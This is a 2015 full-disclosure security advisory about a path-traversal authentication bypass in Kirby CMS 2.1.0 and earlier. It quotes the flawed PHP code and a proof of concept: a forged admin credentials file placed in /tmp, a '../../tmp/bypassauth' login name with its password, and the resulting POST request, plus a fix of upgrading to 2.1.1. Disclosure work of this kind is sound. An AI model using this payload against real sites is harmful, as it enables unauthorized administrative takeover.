Message-ID: <CAESkHvC2X2vSrdd_yOiuW8vn2F0iPNtJ89CoZkX0fbQAuAVwPw@mail.gmail.com>
Date: Tue, 15 Sep 2015 13:48:50 -0300
From: Dawid Golunski <golunski.dawid@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Kirby CMS <= 2.1.0 Authentication Bypass via Path Traversal

=============================================
- Release date: 14.09.2015
- Discovered by: Dawid Golunski
- Severity: Medium/High
=============================================


I. VULNERABILITY
-------------------------

Kirby CMS <= 2.1.0     Authentication Bypass via Path Traversal


II. BACKGROUND
-------------------------

- Kirby CMS

"Kirby is a file‑based CMS
Easy to setup. Easy to use. Flexible as hell."

http://getkirby.com/


III. INTRODUCTION
-------------------------

KirbyCMS has a vulnerability that allows to bypass authentication in a hosting
environment where users within the same shared environment can save/read files
in a directory accessible by both the victim and the attacker.


IV. DESCRIPTION
-------------------------

As KirbyCMS is a file based CMS, it also stores authentication data
within files in accounts directory, each user has its own password file such as:
kirby/site/accounts/[username].php
At login, KirbyCMS refer to the password file to verify the passwor hash.
During the process, it fails to validate the resulting path to ensure that
it does not contain path traversal sequences such as '../' within the login
variable provided by a user.

This makes it vulnerable to a path traversal attack and allows to bypass
the authentication if an attacker is located in the same multi-user hosting
environment and can write files to a public directory such as /tmp accessible
by the victim site with KirbyCMS.

The exact code responsible for this vulnerability is located in
kirby/core/user.php file and is shown below:

---[ kirby/core/user.php ]---

abstract class UserAbstract {

  protected $username = null;
  protected $cache = array();
  protected $data = null;

  public function __construct($username) {

    $this->username = str::lower($username);

    // check if the account file exists
    if(!file_exists($this->file())) {
      throw new Exception('The user account could not be found');
    }
        ...
  }

  protected function file() {
    return kirby::instance()->roots()->accounts() . DS .
$this->username() . '.php';
  }

-----------------------------


In addition to the authentication bypass KirbyCMS was found to allow
authentication over HTTP protocol (resulting in passwords being sent
unencrypted), and to never expire authenticated sessions.

V. PROOF OF CONCEPT
-------------------------

KirbyCMS stores credentials in: kirby/site/accounts directory as PHP files
to prevent the contents from being accessed directly via the web server.

An example file with credentials looks as follows:

---[ victimuser.php ]---

<?php if(!defined('KIRBY')) exit ?>

username: victim
email: victim@...lserver.com
password: >
  $2a$10$B3DQ5e40XQOSUDSrA4AnxeolXJNDBb5KBNfkOCKlAjznvDU7IuqpC
language: en
role: admin

------------------------

To bypass the authentication an attacker who has an account in the same
hosting environment as the victim can write the above credentials file
containing an encrypted hash of the password: trythisout
into a public directory such as:

/tmp/bypassauth.php

Because of the aformentioned Path Traversal vulnerability the attacker
can use such credentials and log in as an administrator
(via: http://victim-server.com/kirby/panel/login) with:

Username: ../../../../../../../../tmp/bypassauth
Password: trythisout

which will produce a HTTP POST request similar to:

POST /kirby/panel/login HTTP/1.1
Host: victim_kirby_site
Cookie: PHPSESSID=mqhncr49bpbgnt9kqrp055v7r6; kirby=58eddb6...
Content-Length: 149

username=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fbypassauth&password=trythisout&_csfr=erQ1UvOm2L1...


This will cause KirbyCMS to load credentials from the path:
/sites/victim/kirby/site/accounts/../../../../../../../../tmp/bypassauth.php

As a result, the attacker will get the following response:

<h2 class="hgroup hgroup-single-line cf">
<span class="hgroup-title">
  <a href="#/users/edit/../../../../../../../../tmp/bypassauth">Your account</a>
</span>
<span class="hgroup-options shiv shiv-dark shiv-left">

getting access to the KirbyCMS control panel with admin rights.


VI. BUSINESS IMPACT
-------------------------

Users who make use of vulnerable versions of KirbyCMS in shared hosting
environments are at risk of having their website modified by unauthorized users.
An attacker who manages to log in as an administrator will be able to change
all the existing content as well as upload new files.
This attack could be combined with the: 'CSRF Content Upload and PHP Script
Execution' vulnerability, also discovered by Dawid Golunski and described in a
separate document.

VII. SYSTEMS AFFECTED
-------------------------

The latest version of KirbyCMS (2.1.0) was confirmed to be exploitable.

To exploit the vulnerability an attacker must be able to write a malicious
credentials file on the system in a public directory that is accessible by the
victim KirbyCMS site. This is a common situation on many hosting environments
that allow to write/read files from temporary directories such as /tmp,
/var/tmp etc.
Such file could potentially also be uploaded by other means, even if
the attacker does not have an account on the same server, such as anonymous FTP
, an email attachment which gets saved in a tmp file on the server etc.


VIII. SOLUTION
-------------------------

Upgrade to the patched version 2.1.1 released by the vendor upon this advisory.

IX. REFERENCES
-------------------------

http://legalhackers.com

http://legalhackers.com/advisories/KirbyCMS-Path-Traversal-Authentication-Bypass-Vulnerability.txt

http://getkirby.com/

http://seclists.org/fulldisclosure/2015/Sep/index.html
http://www.securiteam.com/


X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com

XI. REVISION HISTORY
-------------------------

14.09.2015 - Final

XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.

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